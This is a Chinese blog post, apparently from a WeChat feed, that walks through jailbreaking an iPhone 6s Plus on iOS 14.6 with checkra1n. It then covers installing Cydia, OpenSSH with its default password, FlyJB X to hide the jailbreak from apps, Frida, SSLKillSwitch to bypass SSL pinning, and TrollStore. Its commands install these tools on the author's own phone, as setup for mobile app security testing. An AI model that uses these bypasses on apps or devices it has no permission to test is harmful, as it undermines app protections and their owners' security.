<section style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.8;word-spacing: 2px;letter-spacing: 2px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;"><h1 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.6em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x00前言</span></h1><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">由于之前用的手机是IPhone6s，版本是12.4，有一些APP打开会直接闪退，于是换了一部6sp，版本是14.6。对其进行越狱，安装一些所需要的插件，并记录一下过程。</p><h1 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.6em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x01 使用checkra1n越狱</span></h1><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">一般常用的是unc0ver或者checkra1n进行越狱，前者的稍微简单一点，后者稍微复杂一些。<br/>这里本打算直接使用unc0ver进行越狱，结果安装后提示不支持。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7777777777777777" title="image.png" data-type="png" data-w="1242" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbab86e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIKD6e9yHzWoqeHy2cKJGwptahkLFbVYBoKQibiasSEGb4Y5U051K83qrg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">于是这里使用checkra1n进行越狱。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0b14cc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIy4GlLJSA2WAlRlXRQVdr4QpSNKbFOpOj043ic2CwkeicqKK8rGPSMibwg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>打开checkra1n虽然提示不支持14.6，同时这里<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Start</code>按钮是灰色的。<br/>选择<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Options</code><br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f411cd05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIpBlBa1QiaFVaegDXK2PA2d1oQ8O1morvicgsWDEh5bpibmkpAIZKKyUvQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>勾选前两项。然后点击<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Back</code>返回。此时<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Start</code>按钮就可以使用了。<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5deca3b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIBvXjr0wZr1jib0HkGGUlLMAQnBfsTzvaeR3PnHEdOnWmtDxMktyR43Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">点击Start按钮，手机进入恢复模式<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d1a0bb66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqI2NXHmwhT8gzr7TpEufOYCXfvhB0J0NaFiadiadSntCHsI9pmVWPFcY3A%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>根据提示进行越狱<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d01d7142&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIAxicVnMJicOBg9HVibE8Rz5c37wkWUpnbTRtDCS0cHMibEibyWDzUoXczTg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">点<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Start</code>按钮</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">然后一起按着关机键和Home键<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5aa9fb8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIZBaa6rzzmJXIQJ5dhg5xzPxjGqnHu5WhxjwXQyaUyUzjug6hpicyia3Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>倒计时结束松开关机键，仍然按着Home键。然后等待即可<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.725" title="image.png" data-type="png" data-w="960" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=80446c4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIBndMUa8AYjlAJ4mO58Pib1iaNib8fpHpaicjZtcvVws0uVnjAjfqMqSnicw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">等手机重启后就完成了越狱。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.7396449704142012" title="image.png" data-type="png" data-w="1014" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=052ed652&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIdYrATt7ZcscX1hiacVKD1ImePbtWqulw9TTUnK3IWpV6UzticjFVqX9Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(0, 0, 0);border-left-width: 5px;border-left-color: rgb(239, 112, 96);background: rgb(239, 235, 233);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">非完美越狱，重启后仍需重新越狱。</p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">使用checkra1n越狱后，需要手动安装cydia，之后才可以进行插件的安装。</p><h1 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.6em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x02 插件安装</span></h1><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">安装cydia</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">Cydia是一款用于iOS设备（如iPhone和iPad）的第三方应用商店，允许用户下载、安装和管理未经授权的应用程序、扩展和主题。<br/>在checkra1n中安装cydia<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7777777777777777" title="image.png" data-type="png" data-w="1242" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8fc4ce5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIrJ5hjyYoPtnnee9C5Wicuqb2uVYrlymHZKkLcEswtODu3lpnND13rBQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(0, 0, 0);border-left-width: 5px;border-left-color: rgb(239, 112, 96);background: rgb(239, 235, 233);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">网络问题可以挂上科学。</p></blockquote><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">安装ssh</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">打开Cydia应用商店，搜索<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">openssh</code>，然后安装即可。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7777777777777777" title="image.png" data-type="png" data-w="1242" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0a40b65e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqInH4uxF25tBsgofa5iaVNDSlm3eTpFEcichFKp8UuibHuDRMHI7ib2o5X4g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">安装后可以使用ssh进行访问，默认密码<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">alpine</code></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.4418604651162791" title="image.png" data-type="png" data-w="1290" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=72246032&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIVH2awEM8JEWOc3zPraHTm2zFn3KsPD3jJ2dIbJBD69or5Oa4UWOymQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(0, 0, 0);border-left-width: 5px;border-left-color: rgb(239, 112, 96);background: rgb(239, 235, 233);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">可以使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">iproxy 2222 22</code>将手机的22端口转发到2222端口。</p></blockquote><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">安装FlyJB X 屏蔽越狱检测插件</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">添加雷锋软件源<a href="http://apt.abcydia.com，搜索FlyJB" target="_blank">http://apt.abcydia.com，搜索FlyJB</a><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7777777777777777" title="image.png" data-type="png" data-w="1242" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ff0f17c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIET3fDZzoSQ9omubGAMHUa6a2nhfD6OCuyYT3JYxJ7rToa8AnCHKB3Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.71007371007371" title="image.png" data-type="png" data-w="814" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=10866e57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIJBCxnmXZcZNBlaqQdzxokbWkJlEZwDZsdHe4JEUYnicrDicfcsyeU4iaA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.71007371007371" title="image.png" data-type="png" data-w="814" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6d55090e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIef0o3k2YlBQXCptycwMWMvE1DLtUIhdTXUJMgKHyOKjkRFNjJoZ3Sg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">安装frida</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">添加源<a href="https://build.frida.re/,然后搜索frida，安装即可。" target="_blank">https://build.frida.re/,然后搜索frida，安装即可。</a><br/>如果安装其它版本的frida可以从github下载所需的frida安装包，然后通过命令安装。例如安装15.1.17版本的Frida。<br/>下载deb文件<br/><a href="https://github.com/frida/frida/releases?page=3" target="_blank">https://github.com/frida/frida/releases?page=3</a></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">scp -P2225 frida_15<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.1</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.17</span>_iphoneos-arm.deb root@localhost:/tmp<br/>dpkg -i frida_15<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.1</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.17</span>_iphoneos-arm.deb<br/>killall -HUP SpringBoard<br/></code></pre><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7616707616707616" title="image.png" data-type="png" data-w="814" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=85e92501&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIyiaiaiaKjopZuBG1Up99xgBTdjxiaDku8p15eibxznqr5gwyOhpwOHsxYKw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.29328621908127206" title="image.png" data-type="png" data-w="566" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8aa8c79d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIeHAGuIUxoLrup8yE8s7chugAnkLPXibLMfqYiaS2qPj9F6Wcic9S6BoBQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">安装SSLKillSwitch</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">SSLKillSwitch是ios中常用解除SSL pining的插件。<br/><a href="https://github.com/nabla-c0d3/ssl-kill-switch2" target="_blank">https://github.com/nabla-c0d3/ssl-kill-switch2</a></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">wget <a href="https://github.com/nabla-c0d3/ssl-kill-switch2/releases/download/" target="_blank">https://github.com/nabla-c0d3/ssl-kill-switch2/releases/download/</a><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.14</span>/com.nablac0d3.sslkillswitch2_0<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.14</span>.deb<br/>scp -P <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2224</span> com.nablac0d3.sslkillswitch2_0<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.14</span>.deb root@localhost:/tmp<br/>dpkg -i com.nablac0d3.sslkillswitch2_0<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.14</span>.deb<br/>killall -HUP SpringBoard<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">安装时需要确保Cydia已经安装了下列软件：<br/>Debian Packager<br/>Cydia Substrate<br/>PreferenceLoader<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7616707616707616" title="image.png" data-type="png" data-w="814" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3eee0029&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIaHqTgEQb4ZHyKb99bqGZ8PeFgUPcib5iaohxTjRdTbB03PITZLnXdETg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">巨魔商店</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">巨魔商店（TrollStore） 是一个永久可以安装未签名IPA应用程序，适用于iiOS 14.0 - 15.5b4, 15.6b1 - 15.6b5。<br/>添加源<a href="https://havoc.app/，搜索安装TrollStore" target="_blank">https://havoc.app/，搜索安装TrollStore</a> Helper，然后安装TrollStore。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7994791666666667" title="image.png" data-type="png" data-w="768" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=08569f2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIBelumLjueVpwL1z4Uber7g33RGUEGatXf0VtlQhKe2ibA52vK5TEeeA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>更多请参考：<a href="https://github.com/opa334/TrollStore/blob/main/install_trollhelper.md" target="_blank">https://github.com/opa334/TrollStore/blob/main/install_trollhelper.md</a><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">其它插件</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">可以安装Filza、Terminal等，前者是文件管理，后者是手机上的终端工具。<br/>Filza<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.736180904522613" title="image.png" data-type="png" data-w="796" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa01e89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqI0KTAWBViaSDr6SwuJYwlVWL69wyoT9BQjicALw8qM411QibqRUABPOT9g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">Terminal<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.416260162601626" title="image.png" data-type="png" data-w="1230" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" 